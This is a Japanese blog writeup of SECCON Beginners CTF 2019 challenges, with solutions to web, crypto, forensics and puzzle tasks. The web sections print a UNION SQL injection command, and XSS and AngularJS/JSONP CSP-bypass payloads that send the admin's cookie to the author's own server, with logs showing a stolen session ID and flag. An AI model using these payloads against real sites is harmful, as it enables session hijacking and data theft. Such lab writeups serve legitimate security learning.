こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON Beginners CTF 2019 Writeup

noranecoは未参加だったので、いつもと違うチームで参加。
Webメイン、CryptとMisc少々解いた。昨年より難しかった印象。

おそらく色々な人がwriteupを書いてくれると思うので、いつもより簡易的な説明に留める。

[warmup] Ramen

Question

ラーメン https://ramen.quals.beginners.seccon.jp

Solution

SQL Injection自明。union句が使える。
information_schemaからテーブル名と列名を取得してflagテーブルからフラグゲット。

root@kali:~# curl https://ramen.quals.beginners.seccon.jp -G --data-urlencode "username=' union all select 1,flag from flag #"
(snip)
                                                    <tr>
                                <td>せくこん太郎</td>
                                <td>1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。</td>
                            </tr>
                                                    <tr>
                                <td>せくこん次郎</td>
                                <td>せくこん太郎の弟。好きな食べものはコッペパン。</td>
                            </tr>
                                                    <tr>
                                <td>せくこん三郎</td>
                                <td>せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。</td>
                            </tr>
                                                    <tr>
                                <td>1</td>
                                <td>ctf4b{a_simple_sql_injection_with_union_select}</td>
                            </tr>
(snip)

katsudon

Question

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

Solution

https://katsudon.quals.beginners.seccon.jp/flagにアクセスすると、BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052aという文字列。

root@kali:~# echo -n BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU | base64 -d
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET

Himitsu

Question

抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp

ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip

Solution

タイトルに<img src=x onerror="location.href='http://myserver/?q=' + document.cookie">をセットして投稿する。 myserverは自分で立てたWebサーバ。

投稿して払い出された記事IDを使って、本文に[#[#記事ID#]#]をセットして再投稿する。

すると、記事のタイトルのバリデーションチェックをバイパスできる。
結果、最初に投稿したタイトルXSS攻撃コードを持つタイトルが文中に展開されてスクリプトが動作する。

管理者に秘密を共有すると自分のWebサーバにアクセスが来てセッションIDを窃取できる。 (通報時にスクリプトが動作してしまので工夫が必要)

153.120.82.72 - - [25/May/2019:23:56:31 +0900] "GET /?q=PHPSESSID=535251b86c56f77b804c4343f6a868e3 HTTP/1.1" 200 288 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36"

f:id:graneed:20190526150355p:plain

Secure Meyasubako

Question

みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp

参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js

Solution

CSPをバイパスする問題。

CSP Evaluatorで調べると、script-srcの設定にリスクがあることがわかる。

以下の記事を参考に、JSONPでイベント発火させ、Cookieを付与して自サーバに画面遷移させるスクリプトを組む。 github.com

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://myserver?q="+$event.view.document.cookie)>
<script async src=https://www.google.com/complete/search?client=chrome&q=aaaa&callback=p.click></script>

管理者に届けるとアクセスが来た。

153.120.128.5 - - [26/May/2019:01:37:09 +0900] "GET /?q=flag=ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW} HTTP/1.1" 200 288 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36"

Party

Question

Let's 暗号パーティ

File: party.tar.gz

Solution

連立方程式にして、あとはsimpyを使うだけ。

from Crypto.Util.number import long_to_bytes
import sympy

x = sympy.Symbol('x')
y = sympy.Symbol('y')
z = sympy.Symbol('z')

party = [
    5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787,
    3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473,
    6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379
]
val = [
    222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933,
    81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075,
    340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125
]

expr1 = x + party[0] * y + party[0]**2 * z - val[0]
expr2 = x + party[1] * y + party[1]**2 * z - val[1]
expr3 = x + party[2] * y + party[2]**2 * z - val[2]

ans = sympy.solve([expr1, expr2, expr3])
print(long_to_bytes(ans[x]))

実行結果

ctf4b{just_d0ing_sh4mir}

Dump

Question

Analyze dump and extract the flag!!

https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

Solution

添付のPCAPファイルからデータを抜き出して、cyberchefでFrom_Octalかけて作成したファイルにbinwalk -eM download.datするだけ。

f:id:graneed:20190526151250p:plain

Sliding puzzle

Question

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。

----------------
|  0 |  2 |  3 |
|  6 |  7 |  1 |
|  8 |  4 |  5 |
----------------
0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。

----------------
|  0 |  1 |  2 |
|  3 |  4 |  5 |
|  6 |  7 |  8 |
----------------
操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

Solution

アルゴリズムを一から作るのは辛い。
と思ってググったら以下の記事を発見。

py3.hateblo.jp

微妙なデータフォーマットの差異を吸収して、サーバとやりとりするロジック書いて実行したら勝ち。

import socket
import re
import itertools

from collections import deque

MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)}  # (x,y)

def get_next(numbers):
    for d in 'UDLR':
        zero_index = numbers.index(0)
        tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            target_index = ty * 3 + tx
            result = list(numbers)
            result[zero_index], result[target_index] = numbers[target_index], 0
            yield d, tuple(result)

def checkio(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), '')])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, new_numbers in get_next(numbers):
            if new_numbers not in seen:
                queue.append((new_numbers, route + direction))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.50.201', 24912))

data = s.recv(1024).decode("utf-8")

for i in range(100):
    pattern = r'ctf4b{.*}'
    m = re.search(pattern, data)
    if m:
        print(data)
        break

    pattern = r'----------------\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n\| ([0-9]{2}) \| ([0-9]{2}) \| ([0-9]{2}) \|\n----------------'
    m = re.search(pattern, data)
    if m:
        puzzle = [
            [int(m.group(1)),int(m.group(2)),int(m.group(3))],
            [int(m.group(4)),int(m.group(5)),int(m.group(6))],
            [int(m.group(7)),int(m.group(8)),int(m.group(9))]
        ]
        answer = checkio(puzzle)
        answer = ','.join(list(answer.replace('U','0').replace('R','1').replace('D','2').replace('L','3')))
        print(answer)
        s.sendall(answer.encode("utf-8"))
        data = s.recv(1024).decode("utf-8")
        print(data)
    else:
        print("error")
        break

実行結果

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}